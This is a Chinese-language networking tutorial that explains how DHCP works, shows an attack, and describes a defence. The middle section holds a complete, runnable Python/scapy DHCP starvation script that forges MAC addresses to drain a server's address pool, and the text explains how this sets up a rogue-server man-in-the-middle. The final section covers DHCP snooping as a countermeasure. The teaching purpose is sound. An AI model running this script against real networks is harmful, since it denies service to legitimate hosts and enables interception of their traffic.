DHCP协议
DHCP 工作原理
DHCP 采用UDP作为传输协议,DHCP 客户端发送请求消息到 DHCP 服务端的68端口,DHCP 服务端回应应答消息发送给客户端的67端口。
只有和 DHCP 客户端在同一个网段的 DHCP 服务器才能收到 DHCP 客户广播报文;不同网段的情况下,需要采用DHCP 中继来转发DHCP报文。
在 DHCP 客户端看来,DHCP 中继就像 DHCP 服务器;在 DHCP 服务器看来,DHCP 中继就像 DHCP 客户端。
第一步:发现阶段(Discover)
首次接入网络的 DHCP 客户端不知道 DHCP 服务器的地址,为了学习到服务器的 IP 地址,客户端会以广播方式发送DHCP Discover报文,源 IP 地址0.0.0.0、目的IP地址255.255.255.255。DHCP Discover报文中携带了客户端的 MAC 地址、需要请求的参数列表(option55)、广播标志位(flag)等信息。
第二步:提供阶段 (Offer)
与 DHCP 客户端位于同一网段的 DHCP 服务器都会接收到DHCP DISCOVER报文,服务器选择一个地址池中可用的地址,发送DHCP OFFER报文发送给客户端,源 IP 地址为 DHCP 服务器地址,目的 IP 地址为分配给客户端的地址。通常,服务器的地址池中会指定 IP 地址的租期,如果客户端发送的DHCP DISCOVER报文中携带了期望租期,服务器会将客户端请求的期望租期与其指定的租期进行比较,选择其中时间较短的租期分配给客户端。
需要注意的是,在发送DHCP OFFER报文之前,DHCP 服务器会先发送一个源地址为 DHCP 服务器地址、目的 IP 地址为欲分配出去的地址的ECHO REQUEST ICMP 报文,来进行冲突检测。如果一段时间内没有接收到应答报文,才发送DHCP OFFER报文;如果收到了应答报文,则表示 IP 地址冲突,把此地址列为冲突地址,然后等待重新接收到DHCP DISCOVER报文,按照优先顺序重新分配可用的 IP 地址。
其次要注意的是,此阶段 DHCP 服务器分配给客户端的 IP 地址,不一定是最终确定使用的 IP 地址。因为DHCP OFFER报文发送给客户端等待 16 秒后如果没有收到客户端的响应,此地址就可以被继续分配给其它客户端。需要经过下面的选择和确认阶段,才能确定客户端最终可以使用的 IP 地址。
第三步:选择阶段(Request)
DHCP 客户端广播发送DHCP REQUEST报文,响应 DHCP 服务器发送的 offer 报文,在报文中的option 54中会写上被选中的服务器的 IP 地址,因为可能存在多个服务器的 offer。并在option 50中写上 DHCP 服务器分配的 IP 地址,用于检测 IP 地址可用性,防止 IP 地址冲突。
第四步:确认阶段(Ack)
当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST报文后,DHCP服务器回应DHCP ACK报文,表示DHCP REQUEST报文中请求的 IP 地址可以分配给客户端使用。
DHCP 客户端收到DHCP ACK报文,会广播发送免费ARP报文,探测本网段中是否有其它终端使用服务器分配的 IP 地址,如果指定时间内没有收到回应,表示客户端可以使用此地址;如果收到了回应,表示 IP 地址将会冲突,客户端发送DHCP DECLINE报文给服务器。同时,DHCP 服务器将这个 IP 列为冲突地址,不再分配出去。
当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST报文后,如果 DHCP 服务器由于某些原因(例如协商出错或者由于发送 REQUEST 过慢导致服务器已经把此地址分配给其他客户端)无法分配DHCP REQUEST报文中Option50填充的 IP 地址,则广播发送DHCP NAK报文作为应答,通知 DHCP 客户端无法分配此 IP 地址。DHCP 客户端需要重新发送 DHCP DISCOVER 报文来申请新的 IP 地址。
注:
-
DHCP服务器可以排除不想分配的 IP 地址,来避免 IP 地址冲突。
-
DHCP 服务器在地址池中为客户端分配 IP 地址的顺序(优先级)如下:
2.1.DHCP 服务器上已配置的与客户端 MAC 地址静态绑定的 IP 地址。
2.2.客户端发送的DHCP DISCOVER报文中Option50(请求 IP 地址选项)指定的地址。
2.3.地址池内查找Expired状态的IP地址,即曾经分配给客户端的超过租期的 IP 地址。
2.4.在地址池内随机查找一个Idle状态的IP地址。
2.5.如果未找到可供分配的 IP 地址,则地址池依次自动回收超过租期的(Expired状态)和处于冲突状态(Conflict状态)的IP地址。回收后如果找到可用的 IP 地址,则进行分配;否则,DHCP 客户端等待应答超时后,重新发送 DHCP DISCOVER 报文来申请 IP 地址。
DHCP 攻击
import random
import binascii
import threading
from scapy.all import *
def dhcp_d(src_mac):##构造discover报文
dhcpDiscover = Ether(
src = src_mac,#本机MAC
dst = 'FF:FF:FF:FF:FF:FF'
)/IP(
src = '0.0.0.0',#源ip
dst = '255.255.255.255'#目的ip地址
)/UDP(
sport = 68,
dport = 67
)/BOOTP(
chaddr = binascii.unhexlify(src_mac.replace(':',''))
)/DHCP(
options = [
("message-type","discover"),"end"]
)
return dhcpDiscover
def dhcp_r(src_mac,server_ip,wanna_ip):##构造request报文
dhcpRequest = Ether(
src = src_mac,#本机MAC
dst = 'FF:FF:FF:FF:FF:FF'
)/IP(
src = '0.0.0.0',#源ip
dst = '255.255.255.255'#目的ip地址
)/UDP(
sport = 68,
dport = 67
)/BOOTP(
chaddr = binascii.unhexlify(src_mac.replace(':',''))
)/DHCP(
options = [
("message-type","request"),
("server_id",server_ip),
("requested_addr",wanna_ip),"end"]
)
return dhcpRequest
def postPacket(src_mac,eth):##发送discover报文
sendp(dhcp_d(src_mac),iface=eth)
def postPacket2(src_mac,server_ip,wanna_ip,eth):##发送request报文
if server_ip != None :##如果server_ip为空(没抓到包),则不发送
sendp(dhcp_r(src_mac,server_ip,wanna_ip),iface=eth)
def CatchPacket(eth):##抓包
sniff(prn=lambda x : returnIP(x),filter=f'src port 67',count=1,iface=eth,timeout=1.5)
def returnIP(x):##抓取offer报文,获取DHCP服务器的IP,和它分配出来的IP地址
global server_ip,wanna_ip
server_ip = x.payload.src
wanna_ip = x.payload.dst
print(server_ip,wanna_ip)
return server_ip,wanna_ip
if __name__ == '__main__':
eth = 'ASIX AX88179A USB 3.2 Gen1 to Gigabit Ethernet Adapter'##网卡名称,根据实际情况修改
mac_dict = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
for i in range(1,2540):
server_ip,wanna_ip = None,None
### 随机生成mac地址
src_mac = '50:2B:73:'
src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
src_mac += random.choice(mac_dict) + random.choice(mac_dict)
t1 = Thread(target=CatchPacket,args=(eth,))#进程1,抓包
t2 = Thread(target=postPacket,args=(src_mac,eth,))#进程2,发送discover报文
t1.start()#开启线程1
t2.start()
t2.join()#等待线程2结束
t1.join()
t3 = Thread(target=postPacket2,args=(src_mac,server_ip,wanna_ip,eth,))#线程3,发送request报文
t3.start()
t3.join()
原理:
- 先发送
discover报文,利用sniff库抓取 DHCP 服务器的 IP 地址和它分配出来的 IP 地址 - 再发送
request报文,向服务器请求刚才分配的地址。 - 重复以上过程,不断伪造新的 MAC 地址,并向 DHCP 服务器请求分配下来的地址,直到 DHCP 服务器地址池耗尽。此时攻击者可以通过建立一台虚假的 DHCP 服务器,给局域网中的设备分配 IP 地址,设备必须通过攻击者的服务器才能转发数据,从而实现中间人攻击。
DHCP 防御
可以在交换机/路由器上配置Dhcp snooping功能,将连接 DHCP 服务器的端口设置为信任端口,其他端口设置为非信任端口。以 Huawei/H3C 设备为例:
1.在系统视图执行 dhcp snooping enable 命令,使能dhcp snooping,然后在接口或 vlan 视图下执行 dhcp snooping enable 命令,开启下方接口的 dhcp snooping 功能。
2.启用DHCP Snooping功能后,必须将交换机上的端口设置为信任(Trust)和非信任(Untrust)状态,交换机 只转发信任端口的 DHCP OFFER/ACK/NAK 报文,丢弃非信任端口的 DHCP OFFER/ACK/NAK 报文,从而达到阻断非法 DHCP 服务器的目的。在接口下执行 dhcp snooping trusted 命令,配置信任接口,这样就不会检查此接口接收到的 dhcp 报文,进而保证终端只能从这个接口连接的合法 dhcp 服务器获取 IP地址。
此外,DHCP Snooping还会监听经过本机的 DHCP 数据包,提取其中的关键信息并生成DHCP Binding Table记录表,一条记录包括 IP、MAC 地址、租约时间、端口、VLAN、类型等信息,结合DAI(Dynamic ARP Inspection)和IPSG(IP Source Guard)可实现 ARP 防欺骗和 IP 流量控制功能。
浙公网安备 33010602011771号